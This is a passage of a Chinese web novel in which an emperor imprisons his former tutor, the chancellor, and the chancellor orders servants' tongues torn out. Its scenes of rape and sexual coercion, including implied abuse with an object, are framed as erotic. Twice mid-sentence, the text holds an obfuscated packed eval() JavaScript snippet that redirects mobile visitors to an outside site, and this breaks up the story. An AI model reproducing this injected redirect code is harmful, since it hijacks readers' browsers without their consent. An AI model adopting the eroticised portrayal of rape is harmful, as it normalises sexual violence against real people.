林怀玉又气又急:“陛下当真要寒了天下学子的心吗?且不说朝堂需要肃清,陛下难道就想要那些人随意安插一些无用之人入朝为官吗?” 宿泱看着林怀玉不肯求饶却又气急的模样,眼尾都染上了绯色,他侧头吻了吻林怀玉的眼尾,退让道:“既然老师不肯求朕,那老师发誓,永远都不会离开朕,这个要求总不过分吧?” 林怀玉:“……” 林怀玉侧头躲开宿泱的吻,不忍心骗他,只能沉默。 宿泱看着林怀玉冰冷的侧脸,唇畔的笑意顿时落了个干干净净:“老师既不愿求朕,也不愿答应朕留在朕的身边,却要朕来向你妥协,哪有这么便宜的事!” 他说着,一把抽掉了林怀玉的腰带,衣带一松,那宽松的衣袍瞬间散了开来,如同一朵凋零的花,轻轻一碰,花瓣便尽数落下,无尽凄美。 林怀玉猝不及防地轻哼出声,随即抿着唇不让自己再发出声音,也不知道为什么,宿泱一按他的腰,他整个人仿佛所有的力气都被抽走,一点儿劲都使不上来了,想要推人都软绵绵的。 宿泱攥住了林怀玉的长发往后一扯,迫使林怀玉的头后仰,露出修长的脖颈与喉结,他一边咬住,一边道:“老师嘴上拒绝朕,实际上还不是享受至极?” 林怀玉仰着头,艰难地骂道:“宿泱!你我是师徒,你非要做这罔顾人伦的事吗?!” 宿泱毫不在意地轻蔑一笑:“朕是天子,在朕这里,没有什么罔顾人伦的事,老师既然要朕习惯没有你的日子,那朕也要让老师习惯朕同你做那些寡廉鲜耻之事!” 林怀玉看着宿泱褪去衣袍,想要阻拦他:“你也知道寡廉鲜耻啊?!宿泱,悬崖勒马,时犹未晚!” 宿泱哼笑:“老师,习惯就好。” 林怀玉看着宿泱靠近,拼尽全力想要离开这张床,那人却如同猫捉老鼠一般,轻而易举将他拖了回去。 林怀玉骂道:“宿泱!畜生!你不能一错再错了!哼……” 宿泱空余之间扯掉了床头的帷幔,轻纱晃动,朦胧之间天地失色。 他低声轻语:“老师,别咬着自己的唇,朕喜欢听你的声音。” 轻纱摇摇晃晃,烛火摇摇晃晃,人影摇摇晃晃。 帷幔窗纱层层叠叠相互缠绕着,将所有视线都尽数遮挡,看不清里面也看不清外面,只有烛火打在纱幔上的影子跳跃着。 林怀玉第二日又起晚了,不过即便他在早朝那个时间醒来,宿泱也不会让他踏出沁春宫,醒不醒都一样。 但林怀玉又一次体验了一下全身散架的感觉,他感觉自己身上的骨头都被人拆了下来,连手指都没放过。 他躺在床上,刚醒来的时候连意识都是模糊的,眼神许久都没能聚上焦,仿佛整个身体都不是他的。 好不容易拿回了身体的控制权,却连动一动手指的力气都没有,肚子还隐隐作痛。 门外有敲门声响起,林怀玉看了眼天色,这会儿早朝虽然结束,但若是宿泱来,不会敲门。 于是他开口道:“进来吧。” 只是话一出口,林怀玉便愣了愣,他的嗓子哑得不成样子,又干又涩,刚一出口,接连而至的便是轻咳。 好在门外的人听到了他的声音,推门进来了。 “林相安好。” 门口的人是礼部尚书周忝,他捧了一堆的册子,那册子几乎都要将周忝的视线完全挡住,因而没看见林怀玉躺在床上。 林怀玉瞥了一眼,撑着身子迅速起身,披了件宿泱的外袍下了床:“这是什么?” 周忝将册子尽数放在桌案上,小心翼翼地瞥了一眼林怀玉,对方面色仍旧淡漠疏离,与方才他在门外听到的哑声透露出来的状态截然不同,许是他听错了。 他连忙答话:“这是陛下吩咐让下官搬过来的,说是交给林相,林相尚在病中还不知道吧,今日早朝,陛下说了,今年的春闱交由林相来办。” 林怀玉在桌子边坐下,给自己倒了杯茶润喉,垂眸间敛下了眼底的神色。 昨夜宿泱不顾阻拦强行对他做那事,今日立刻将春闱的事交给了他,还真是达成了所谓的交易。 事已至此,林怀玉只能道:“放着吧。” 周忝点了点头,眸光瞥见林怀玉身上的外袍,心底有些疑惑,却又不敢多看,只得道:“那……下官先告辞了。” 林怀玉颔首,没有多话。 待人离开后,林怀玉才松了松身子,倚在桌子边,没了方才端庄的姿态。 身上还是酸痛着,但春闱的事是他目前最要紧的事,于是走到书案前,翻起了那些册子。 周忝送来的是各地已经报上来过了乡试的名单,这些学子不日便会抵达京都,参加春闱,连同名单一起送来的,还有乡试的考卷。 林怀玉一篇一篇看了过去,连宿泱什么时候来的都没发觉。 “老师看的这样认真,可是有什么令老师觉得中意的文章?”宿泱站在旁边,目光瞥过林怀玉手里的那篇文章,语气有些危险。 林怀玉拿着这篇文章已经看了很久了,比之前的几篇要多看了一盏茶的时间! 林怀玉正沉浸着阅卷,并未听出宿泱不善的语气,直言道:“这篇文章确实写的不错,此人颇有自己独特的见解,对朝堂之事也十分了解,不仅有为官之道,还懂得为百姓思虑,倒是个可塑之才。” 宿泱轻轻挑了一下眉头,眼底轻蔑:“难得见老师这样夸一个人,那老师觉得,他能在春闱获得一个怎么样的名次?” 林怀玉将卷子放下,想了想,道:“三甲之一,必有其人。” 宿泱努了努嘴,将那卷子拿到自己面前,扫了一眼,道:“老师对他的评价可真高啊,那在老师看来,朕与他相比,谁的文章写的更好?” 当年宿泱在林怀玉的教导下,也写过不少文章,每一篇林怀玉都亲自指点过,却最多得到过林怀玉“不错”这两个字的评价,因此他也知道,林怀玉方才那一番评价有多可贵。 林怀玉是真喜欢这个…… 宿泱瞥了一眼,看到了这人的名字。 赵襄宜。 林怀玉这才抬眸看向宿泱,只见对方眸光晦涩,脸色阴沉,林怀玉十分费解:“陛下堂堂天子,同他比什么?” 宿泱却不依不饶,又问了一遍:“老师就说,朕与他的文章,谁的写得更好?” 林怀玉看了他一眼,故意道:“他的。” 嘶啦—— 林怀玉的耳畔顿时响起书页撕毁的声音,他顿时朝着宿泱望去,就见对方一把撕了手里的卷子,随意丢在了地上:“可塑之才?三甲之一?若是他连春闱都参加不了,还如何能够进这三甲呢?” 林怀玉眉头紧锁,不知道宿泱又发什么疯:“你又要做什么?” 宿泱低笑了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583538|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“朕不让他参加春闱。” 林怀玉看着地上被撕碎的卷子,又看了一眼宿泱阴郁的神色,觉得对方不像是在开玩笑,于是道:“他什么也没做,为何不让他参加春闱?此人才华横溢,日后进了朝堂,若是品行端正,能力也强,陛下可以将他重用,揽在自己麾下。” “朕不需要!”宿泱一手撑在林怀玉身后的椅子上,一手按在书案上,将林怀玉笼罩在自己身前,“朕的文章明明写得比他好,老师都不曾这样夸过朕,老师都没见过他,却将他从头到尾夸了一遍,老师就这么喜欢他?嗯?” 林怀玉轻轻眨了眨眼,这才反应过来宿泱究竟在发什么疯,不由得失笑:“宿泱,你都是天子了,堂堂九五至尊,怎么同一个连官身都没有的举人攀比?” 宿泱却不依不饶:“那老师说,朕的文章比他好,你更喜欢朕写的文章,更喜欢朕!” 林怀玉闭口不言,一如昨夜宿泱也是这般强势地要他发誓,自己永远不会离开宿泱,一遍又一遍,恶劣地要挟他,否则就不让他释放。 林怀玉的嗓子纯粹是骂哑的。 宿泱知道林怀玉傲骨铮铮,却执着于将林怀玉那一身傲骨折断,他见林怀玉闭口不言,闷笑了一声,十分恶劣道:“好啊,既然老师不肯说,那朕就不让这人入朝堂来老师的眼前晃悠。” 林怀玉眉心紧蹙,他实在不懂宿泱都多大的人了,竟然还做如此幼稚的事。 “陛下何故同一个举人过不去?他出身寒门,春闱便是他大放光彩之地,如今陛下却要因为一句话剥夺他的机会,岂非对他不公?” 宿泱看着林怀玉,心底又加了一把火,怒道:“老师处处为他人着想,如今还帮着一个素未谋面的举人说话,那朕呢?朕在你心里,连他都不如吗?” 林怀玉觉得宿泱这份怒火着实有些无厘头,但他这会儿也并不想激怒宿泱,只想办好春闱,于是平心静气道:“臣操办春闱便是为了让这次参加春闱的学子都能得到应有的公正,陛下若是因为臣的一句话便不让这学子参加春闱,岂非违背了臣的初衷?到时天下学子又会如何看待陛下?” 宿泱抿唇,夺过林怀玉手里的名册摔在了地上:“春闱,学子,他们什么都比朕在老师心里更重要!甚至朕以此要挟你,你也不肯说一句软话吗?林怀玉,你明知道朕想听什么!” 林怀玉瞥了一眼地上的名册,垂下了眼眸,他长叹一声,起身弯腰将名册捡了回来,低声问:“陛下想听什么?” 宿泱金丝锦靴踩在了名册上,令林怀玉无法将册子捡起来,只能保持着弯腰的姿势,他俯视着林怀玉,冷冷道:“好,老师不想说,朕也不强求你。” 林怀玉眸光一顿,昨夜宿泱也说过同样的话,在他咬着牙关,咬破嘴唇也不肯出声求饶之后。 但宿泱也确实长时间没让他得到他想得到的,一场欢愉变作痛苦折磨。 果不其然,宿泱接着道:“老师想要公平,但如今这公平在朕手中,老师不是为了大雍,为了春闱,为了这些学子可以牺牲一切吗?那就用你自己来换。” 林怀玉顿时抬头看向宿泱,听见宿泱继续道:“反正老师已经用身子跟朕换过一次了,想必不会介意第二次,毕竟老师已经有经验了,朕相信以老师的聪明才智,一遍就知道该怎么做了,无需朕再教你。” 林怀玉捏着册子没有松手,只是保持着这个动作久了,本就不爽快的身子更不舒服,腿也有些受不住,轻轻打颤,他忍着道:“陛下非要如此么?” 宿泱神色冷然,非要逼林怀玉说上一句软话不可,冷硬道:“老师如今不过是朕的禁.脔,你以为你还有什么能够同朕交换的资本?” 他缓缓蹲下了身子,同林怀玉逼近:“老师除了用身子做筹码,还能有什么值得朕费心的呢?” 他伸手捏住林怀玉的下颌,扯了扯嘴角:“或者,老师就说一句,你更喜欢朕的文章,更喜欢……朕!” 林怀玉却闭上了眼睛,一副不想同宿泱说话的模样:“你非要如此逼我吗?” “是你在逼朕!”宿泱一把将林怀玉提了起来,掼在了书案上,那些礼部刚送过来的卷子顿时漫天飞了起来。 林怀玉后背一痛,没等他动作,身上的衣服又被宿泱扯开,如同未曾裁剪的布铺在书案上,聊胜于无一般给林怀玉垫着。 林怀玉有时候在想,宿泱给他穿这些不合身的衣服,大概就是为了方便一扯就掉吧。 只是他也没能想太多,宿泱将他翻了个身压在书案上,提起一旁搁着的笔,沾了墨水在林怀玉的后腰落下,冰凉的触感令林怀玉瑟缩了一下,那狼毫在他身上游走,写了一个字,笔锋苍劲有力,是林怀玉亲手教的。 林怀玉忍着耻辱,双手被宿泱制着,以强大的意志力没让自己因为后腰传来的痒意扭成一团。 他颤抖着眼睫:“宿泱!你怎么能……” 怎么能如此羞辱我? 宿泱低哼了一声,又将林怀玉抱了起来,仰面抬上了书案,林怀玉正要动手,又被宿泱一把按住,那狼毫笔再度落在了他的小腹上。 林怀玉抖得更厉害了,也不知道是气的还是因为别的:“宿泱,你非要逼我恨你吗?” 宿泱倾身在林怀玉耳边,断了林怀玉所有的力气:“那老师就恨吧,总也好过如今这般,一点儿也不将朕放在心上。” 7. 第 7 章 春寒料峭,北方的雪好似收不住一般,仍旧日复一日地落着,满目的雪色将一切深埋。 朱墙宫道之上,宫人们拿着扫帚扫着雪,闲来无事便聊起了八卦。 “哎,我听燕儿说沁春宫前几日搬进去了一个人,怎么没听说陛下纳妃啊?”一个宫人一边扫雪,一边望着不远处的沁春宫,问。 旁边的人顿时朝他靠了过来:“陛下都没立后呢,哪来的妃嫔?不过沁春宫的事我也听说了,你猜猜,里面住的是哪位大人物?” “大人物?这我可猜不到。” 那人笑了笑,神秘兮兮道:“是个男人!” 扫雪的宫人顿时瞪大了眼睛:“男人?难不成咱们陛下这么多年不娶妻,是……断袖之癖?” 另一个宫人点头:“是啊!咱们陛下后宫凋零,一个人都没有,如今不声不响抬进来一个男人,你说……会不会立男后啊?” “哼,”方才说话的宫人顿时嗤笑了一声,“不可能!沁春宫那位可是当朝丞相!” “啊?!”众人顿时更为吃惊,“你说的可是那位……心狠手辣,连皇子都敢杀的帝师丞相?” 宫人点头道:“就是他!” 另一人便道:“那……丞相大人应该只是进宫来教导陛下小住几日吧?” 宫人乐了:“那还真不是,丞相可是外臣,再怎么也不能住后宫啊?而且我听沁春宫的燕儿说,陛下每日都去沁春宫,下了早朝立刻就回沁春宫,里头虽然总传来骂声,但更多的还有……” “还有什么?你倒是说啊!”其他人顿时急了。” 那人连忙道:“哎哟!还能是什么!你们几个死鬼,非要我说那么明白?” 几人心照不宣地笑了起来:“咱们陛下守身如玉这么多年,竟然是喜欢自己的老师吗?” 那宫人扫了扫脚下的雪,摇头:“喜欢我看未必,陛下和丞相在沁春宫总是要打起来似的,尤其是陛下,好几次脸色都很差,倒是丞相大人……嘴上说着骂着,还不是由着陛下?” 几个人顿时来了劲:“你的意思是丞相喜欢陛下?” 宫人点头,看着沁春宫的方向,叹了口气:“这传闻中权倾朝野的丞相大人,我看其实也没那么厉害,德福大总管把他说得那么神,我看还不是巴着陛下承欢才得来的丞相之位吧?” “嘘!”几个人顿时阻止他,“你不要命了!那林丞相心狠手辣的,要是被他听见,你小命不保!” 那人却无所谓道:“你们不知道,我之前在沁春宫的门口瞧见那林丞相了,那张脸长得真是绝色倾城,这世间恐怕找不出第二个比他更好看的人了,难怪如此得陛下宠爱呢,我一个净了身的看着都把持不住啊。” 几个人左看右看,还好宫道上没有旁人:“你少说两句吧,就算林丞相你不怕,被陛下听见了,你也少不得掉脑袋!” 那人摆了摆手:“我看传言都是假的,林丞相坐在窗户边上,弱不禁风的,这宫道上的雪都能把他压死,哪有传闻中那么可怕,我看他就是男宠,那模样就是天生伺候人的。” 几个人见四下无人,胆子也大了起来:“那你们说,林相如今住进了沁春宫,是准备辞官专门伺候陛下了吗?” 另一人道:“我听前面说,那林丞相都好些时日没去上朝了,什么权倾朝野手段狠辣,都是假的!” 旁人啧啧称奇:“不过日后这林相摇身一变成了后宫咱们的主子,咱们这会儿这么议论他,不好吧?” 那宫人却道:“我看陛下对林相的态度,不像是要立男后的样子,想来就只是个男宠吧。” 几个人点头道:“陛下迟早要立后的,到时候他一个男人,在后宫也不知该如何自处啊?” 那宫人轻蔑道:“一想到咱们当朝丞相竟然是个跪伏在陛下身下的佞臣,日后还要向那些妃嫔行礼,真是滑天下之大稽!你扯我干嘛?” 他说完,回过神低头一看,才发现其他宫人齐齐跪了一地,朝着他身后头也不敢抬。 宫人像是想到什么一般,顿时僵在了原地,连忙转身跪下,也不敢看来人是谁。 能让众人如此惊恐的,无非是两个人,一个是陛下,另一个就是他们正谈论的林相。 不论开的是哪个,都不是他能够得罪的,而若是听到了他刚才说的话…… 他小命休矣! “果然是本相太久没出来了,竟不知这宫中下人可以如此议论主子了。”林怀玉清冷冷的声音比地上将要化开的雪还要冷,刺得人骨头都染上一层霜。 几个宫人顿时抖了起来,即便他们方才还在看不起林怀玉,但这会儿,强大的压迫感让他们无法说出一句话来。 原来传言都是真的,林怀玉不过是站在那里,就让他们感觉到了可怕,比陛下还要令人恐惧。 德福在旁边啐道:“几个乱嚼舌根的东西,林相也是你们能谈论的吗?!” 几个人顿时回过神来,求饶道:“求丞相饶命啊!!!” 林怀玉轻轻瞥了德福一眼,那双眼中唯有冷漠:“德福公公,私下议论主子该当何罪啊?” 德福连忙接话:“回林相的话,当杖毙!” 几个人顿时哭了起来,德福可是陛下身边的大总管,可这会儿对林怀玉恭恭敬敬不敢有半分轻视,他们便知方才所言都是他们的臆测。 林怀玉对周遭的求饶不为所动,冷眼道:“杖毙啊,有些太轻了。” 德福连忙应声:“是,林相大人说的是,那依林相看,该怎么罚呢?” 林怀玉淡淡瞥了跪着的几人一眼,道:“把他们的舌头拔了吧。” 饶是德福知道林怀玉的手段,这会儿也哆嗦了一下:“拔……生拔啊?” 林怀玉朝着德福递去轻飘飘的一眼,德福连忙道:“奴才明白。” 几个宫人顿时被架了起来,慌乱求饶:“林相饶了我们吧,我们再也不敢了……” 其中一个宫人挣脱了束缚,连滚带爬地跪倒在林怀玉的脚边,扯着林怀玉的衣袍,求饶着:“林相,求求您放过奴才吧,是奴才嘴贱!” 他一边说着,一边扇着自己的脸,想求林怀玉放他一马。 只是终究不过是徒劳无功。 一旁的德福看着这大胆的宫人,冷汗都下来了,他连忙上去一脚将那宫人从林怀玉脚边踹开:“你是个什么东西!也敢拿你的脏手碰贵人的衣服?!” 要死就死,别拖累他!等会让陛下见到了林相被人近身,他都没好果子吃! 那宫人顿时被侍卫架住重新拖了下去。 林怀玉没再看那几人一眼,回头便看见宿泱长身玉立,身侧一个小太监为他撑着伞,饶有兴致地望着这边。 德福顿时瞪大了眼睛,心底暗叫不妙,连忙跑过去恭迎陛下。 林怀玉站在大雪中,与宿泱遥遥相望,漫天的雪落在林怀玉的墨发与肩头,又被风轻轻拂走。 他正要走过去,宿泱却先拿过小太监手里的伞,朝着林怀玉走了过来,替林怀玉挡住了风雪。 宿泱皱了皱眉头,眼底露出一丝嫌恶,瞥向林怀玉的脚边,那靴子和衣角仿佛都沾上了脏东西,令他难受。 他将伞递给林怀玉,又蹲了下来,握住了林怀玉的脚:“老师,抬一抬脚。” 林怀玉不明就里,顺着他抬起了脚,谁知宿泱就在这宫道上,将他的靴子脱了,像是丢垃圾似的丢到了一边。 林怀玉只觉得风雪一侵,冷入骨髓:“你做什么?” 宿泱又脱了自己的鞋子给林怀玉穿上,自己赤着脚站在刚扫完雪的冰冷地砖上:“什么人也敢碰朕的老师,脏的要死。” 他说完,又将林怀玉的衣角撕了下来,那锦绣龙袍就这般被宿泱亲手撕毁。 林怀玉蹙了蹙眉,还没开口,宿泱又脱了身上的外袍披在林怀玉的身上。 做完这一切,宿泱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583539|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才满意,悠悠道:“这哀嚎声叫的整个宫道都能听见,无人不知林相的手段狠毒,更胜从前呢。” 林怀玉身上的冷意在瞬间被驱散,便也没说什么,只低哼了一声,并不在意:“他们几个还不值得我费心。” 宿泱笑了笑,望着林怀玉身后长长的宫道,眼底似乎蓄起了回忆:“是啊,毕竟当时,这条宫道上的哀嚎声比今日要惨烈百倍,鲜血将这条宫道染成赤红,宫人打扫了整整两日才洗干净啊,这可都是老师的手笔。” 林怀玉撇开头,目光落在朱墙碧砖上,那里早已没有鲜血的痕迹,可那场面仿佛就在眼前,宫中哀鸿遍野,血流成河。 他收回了目光,淡淡道:“太子之争向来残忍,他们若是不死,我们只会死得更惨。” 宿泱笑了笑,似乎提起的不是他同父异母的兄弟,而是一些本就该死的陌生人,甚至是仇敌。 而他和林怀玉撑着同一把伞,走在雪中,从始至终,他身边都站着林怀玉。 宿泱看着身边的人,低声道:“林相手眼通天,权倾朝野,如今连朕后宫都管的,是不是忘了自己的身份?” 林怀玉缓缓看向宿泱,只见对方唇畔又挂上了那抹恶劣的笑,林怀玉想起宿泱对他说的做的,顺势道:“陛下所言极是,这后宫终究不是臣的久留之地,还是恳请陛下放臣出宫吧。” 宿泱低笑了起来,似乎猜到林怀玉会说这话,这种将林怀玉的所思所想猜透的感觉,令宿泱分外愉悦,他靠近林怀玉,将人揽进怀里,指腹轻轻摩挲着对方的腰侧,阴恻恻道:“老师还是想要离开。” 林怀玉的腰太敏感,这一下就软了,只是他强撑着身子,却也无法远离林怀玉:“臣住在后宫,终究不妥。” 宿泱沉着脸,看向方才那些宫人打扫的地方,轻声道:“老师是听了那些人的话吗?朕把他们都杀了,日后也无人敢议论老师,老师别再提离开了,好吗?” 林怀玉按住了宿泱的手,摇头:“与旁人无关,他们说什么臣根本不会放在心上,臣出宫也只是为了做自己该做的事,倒是陛下,这些日子闹够了吗?如今也还清醒一些了。” 宿泱反手攥住林怀玉,不让对方从他身边离开:“老师以为朕是在玩闹?朕只想让老师留在朕的身边,可老师为什么总想着离开呢?” 林怀玉抬眸,清冷的眼眸仿佛掺着冬日的雪,美丽却寒冷:“宿泱,我是大雍的丞相,是你的老师,于情于理,不论是为国为民还是为你,我都不该在后宫之中。” 宿泱沉着脸,点点头,落在林怀玉腰上的力道重了重:“说到底,老师是放不下丞相之位,如今老师位高权重,眼里只有大雍,只有臣民,只有那些事,林怀玉,这丞相之位,朕也不是非你不可。” 林怀玉顿时看向宿泱,聪明如他,这一刻也有些不懂宿泱的意思。 又或许是不敢置信。 可宿泱还是接着道:“老师之前不是说过吗?春闱有不少才华出众者,那老师觉得,他们之间,有没有能够坐上这丞相之位的人?” 林怀玉避而不答,只问:“陛下的意思是,要革了臣的职吗?” 宿泱的眉眼堪称柔和,望着林怀玉,眼底缱绻:“朕说过,老师只需要乖乖待着后宫,成为朕的禁.脔就好。” 林怀玉在此刻,气到整个人发抖,他不敢相信宿泱竟然会收了他的权,只为了将他困在后宫,他少见地气笑了一声,冷冽道:“陛下要夺臣的相位,莫非是想让臣坐一坐那皇后的位置?” 宿泱眉头一挑,唇角提了起来,他看着林怀玉,那张淡漠的脸上是别样的神情,林怀玉不会对旁人露出这样的脸色,他笑开,故意道:“老师这般工于心计,果真是不肯吃亏,用丞相之位换皇后之位,怎么?难不成老师是打算与朕生同衾,死同陵?” 不等林怀玉开口,宿泱却先一步将林怀玉往自己怀里带了带,在他耳边低声道:“一个禁.脔,你也配?” 8. 第 8 章 朱墙宫道,白雪又重新在洒扫过的长道上铺了一层雪,飘落的雪仿佛随风在空中游荡,不知自己该去何方,只能任由狂风将自己带到任何一个角落。 林怀玉那双清浅的眼眸看着宿泱,寒意有之,无奈有之,那样复杂,让宿泱捉摸不透。 他总是看不透林怀玉的,哪怕有某个瞬间,他以为自己读懂了林怀玉,能够预判林怀玉的情绪,可也仅仅是那么片刻。 可就是这片刻,也足够他欣喜若狂,他总在想,若是他能够一直读懂林怀玉的情绪就好了,将林怀玉掌控在自己手中,让他的老师只属于他一个人,眼底只容得下他一个人。 可偏偏林怀玉的眼中装了很多东西,都看不见他了。 外头的风雪逐渐变大,林怀玉抵御不了这寒冷,低声咳嗽了起来,宿泱便没再看林怀玉失态的模样,拉着人朝沁春宫走去。 只是林怀玉脚上的鞋子不合尺码,没走两步,差点摔进雪地里,宿泱眼疾手快将人拉住,笑道:“朕忽然觉得,老师若是被朕打断了腿关在沁春宫,出个门都要朕陪着,牵着,也是一件好事。” 林怀玉冷冷剐了宿泱一眼,松开了对方扶着他的手,自己缓慢地朝着沁春宫挪去:“若真有那么一日,请陛下赐臣一死,给臣一个痛快。” 宿泱瞳孔一缩,不过是听到林怀玉提了个“死”字,便觉得心被紧紧攥了一下,险些失态。 他一步追上林怀玉,将人打横抱了起来,大步流星朝着沁春宫而去。 伞落在了宫道上,很快被宫人收起,漫天的雪落在林怀玉和宿泱的发梢,仿佛应了那一句“他朝若是同淋雪,此生也算共白首”。 但很快,林怀玉的眉毛和眼睫都染上了白雪,大雪仿佛要将两个人淹没。 宿泱快步回到了沁春宫,将林怀玉轻轻放在床上。 他从一旁取来了锦帕,丢在了林怀玉的头上,仿佛给林怀玉盖了盖头。 林怀玉一把将“盖头”扯下,擦拭着脸上和身上的落雪。 宿泱站在一旁看着林怀玉,还记得方才林怀玉提起的死,他不喜欢林怀玉提这个,于是冷着声音道:“方才老师说想要坐一坐后位,可知道皇后是要给朕下跪的。老师这么多年来,从未跪过朕,既然想要做皇后,那不如现在就给朕跪下。” 他眸光戏谑地看着床上的林怀玉,那一身傲骨的人,似乎确实从未给人下跪过,除了先帝。 自从宿泱登基之后,他便免了林怀玉的下跪。即便是在朝上,也准林怀玉见天子不必下跪,甚至还会赐座。 宿泱不禁在想,这样一个雪一般清冷的人,若是当真跪伏在他面前,那会是怎样一幅光景? 只是这般想想,便令宿泱兴奋了起来。 林怀玉停下了手里的动作,将帕子搁在了矮柜上,他轻轻看了宿泱一眼,忽然勾起唇角,那不过是一个浅浅的弧度,却让宿泱心悸。 林怀玉很少笑,大多时候都是冷冷淡淡的模样,即便对着他,或许少了一分疏离,但也绝不会有太多的情绪。 除了他自己将林怀玉惹恼了,才会令雪琢般的人露出别样的色彩。 也就是那么一晃神的时间,林怀玉一脚踹在了宿泱的膝盖上,宿泱单膝落地,跪在了林怀玉面前。 林怀玉俯视着宿泱,从前年幼的时候,他也这般俯视着这个少年天子,但宿泱渐渐长大,也很快比他高了,他从一开始俯视,但后来平视,再到最后的仰视,看着少年天子一路成为那令人可望不可及的存在。 如今宿泱重新跪在他面前,林怀玉坦然受之,浅淡的眸光看着对方沉下来的脸色,唇角的弧度轻轻抹去:“便是陛下跪我,我也是受得的。” 宿泱没看到自己想看的,却仍旧笑了起来。 确实,这才是林怀玉,若是林怀玉真给他跪下了,那就不是他认识的林怀玉了。 宿泱笑着,目光紧紧盯着林怀玉,道:“老师可知道,受朕一跪,要付出什么样的代价?” 林怀玉冷眼瞥他:“我是陛下的老师,若真要算起来,陛下跪一跪自己的老师,天经地义。” 宿泱闷声笑了起来,他缓缓从地上站了起来,坐在了林怀玉的身侧,拿着被林怀玉搁在一边的帕子,轻轻擦拭着林怀玉脸上没有擦干净的水珠:“可惜老师身子太弱,朕这一跪,怕只怕折了老师的寿。” 他一边擦干净林怀玉身上融化的雪,一边唤了德福:“去太医院取一株人参过来,要大一些的。” 德福得了命令,立刻朝太医院去了。 林怀玉看了宿泱一眼,对方眼底满是戏谑,像是看他的好戏,林怀玉刚要起身,又被宿泱按在了床上:“老师要去哪?” 林怀玉淡淡道:“春闱诸事繁琐,臣自然得亲力亲为。” 宿泱却按着他,随意道:“不急,老师身子弱,还是先补补。” 他说完,也没再给林怀玉开口的机会,蹲下来替林怀玉脱了脚上本就不合尺码的鞋子:“老师的鞋子被朕丢了,这两日就别下床了。” 林怀玉无言,想了想还是没忍住:“臣还没有矫情到这个份上。” 宿泱轻笑了一声,将林怀玉的脚抓在了手里,轻轻摩挲着,一如夜里他抓着林怀玉的脚踝,不肯将人松开。 林怀玉几乎快被宿泱的这些动作刻入骨髓,他抽了抽,又被宿泱预判了动作,没能将脚缩回来,他只能冷冷瞥道:“做什么?” 宿泱笑了笑,低头一吻落在了林怀玉的脚背上,眸光却如痴如狂:“老师,你说朕挑断你的脚筋,你是不是就也不能乱跑了呢?” 林怀玉直接一脚踹向了宿泱的胸口:“宿泱,收起你那些无聊的心思,我说过了,我会一直为陛下为大雍守着我的职责,直到我死。” 宿泱被踹了一脚,也没恼,掸了掸胸口衣袍的褶皱,从容不迫地从地上站起来,房门被人叩响,是德福取了人参回来。 宿泱扫了一眼德福手里被锦盒装着的人参,这人参确实很大,有三根手指般粗,须也多,宿泱十分满意,将盒子接了过来:“出去吧。” 德福立刻麻溜地出去并带上了门。 宿泱将人参递到了林怀玉的面前,给他瞧了瞧:“朕怕折了老师的寿,这人参想来能大补一番,老师等下可要全部吃下去啊。” 林怀玉瞥了一眼,神色淡然,正要去接那盒子放到一边,却被宿泱躲开了,林怀玉不解地看向对方。 宿泱却勾了勾唇角,将锦盒随意地放在了床上,扯掉了林怀玉的腰带。 林怀玉心中顿时警铃大作,他拢着眉心,冷声道:“宿泱!你是畜生吗?!” 他抬起腿就要踢宿泱,脚又被那人捏在手中,无法再次踢到宿泱,宿泱的掌心抚过林怀玉的小腿,一寸寸往上:“老师尽管大声一些,朕喜欢听老师的声音。” 林怀玉闭上了嘴,只是他的脚注定抽不回来,不仅这只脚收不回,另一只也被宿泱拖了过去,他整个人都撞进了对方的怀里,刚低咳了一声,便听见宿泱的嘲弄:“老师果然身子弱,这人参朕也得喂得快一些。” 林怀玉看着宿泱从锦盒中取出人参,忽然知道了对方要做什么,转身就准备下床跑。 可他的腿被宿泱抓着,根本逃离不了。 屋子里的地龙烧得很旺,滚烫的热意将整个房间都染上一层热气,像是有雾气蒸腾着,将房间里的一切都笼罩住,看不清楚。 大雪不停地落着,一连下到了二月。 二月春闱,礼部将学子们引入考场,这会儿正在查验东西。 林怀玉作为主办官,这是他这些日子头一次出了皇宫。 他坐在椅子上,一身紫色官袍贴身穿着,腰带系在腰间,将他的身形勾勒,没有丝毫不合适,也不似在宫中松松垮垮一点儿也不合身。 林怀玉面容冷淡,看着学子检查完东西,从他面前经过,纷纷行礼。 大多数人连看都不敢看他,林怀玉之名早已传遍整个大雍,没有人不知道,当朝丞相林怀玉,心狠手辣,淡漠无情,谁也不想大好的前程在这里断送。 他们匆匆路过林怀玉,只有在林怀玉身后了,才敢回头偷看一眼。 “那就是当朝丞相啊,好年轻啊。”有学子看到了林怀玉,不禁羡慕道。 其他学子也点头附和:“不仅年轻,还长得很好看,不过丞相大人的气场好强,光是坐在那里,我都不敢抬头跟他对视。” 几个人顿时小声道:“我也是,我也是。” “但是我看他好像也没有传闻中说的那么可怕啊,那些传言不会都是假的吧。”有人小心翼翼道。 但也有学子轻哼了一声:“知人知面不知心,你们该不会是看丞相长得好看,就觉得他不会做那些事了吧?这朝廷的水深着呢,他这么年轻能坐上丞相的位置,怎么可能真的没有城府与手段?” 有人反驳:“那也不可能杀皇子啊,我一直觉得,这传言太过夸张了。” 可另一个人又道:“就算不是丞相亲手所杀,但他肯定也有参与,空穴不来风,你们啊,太年轻!” 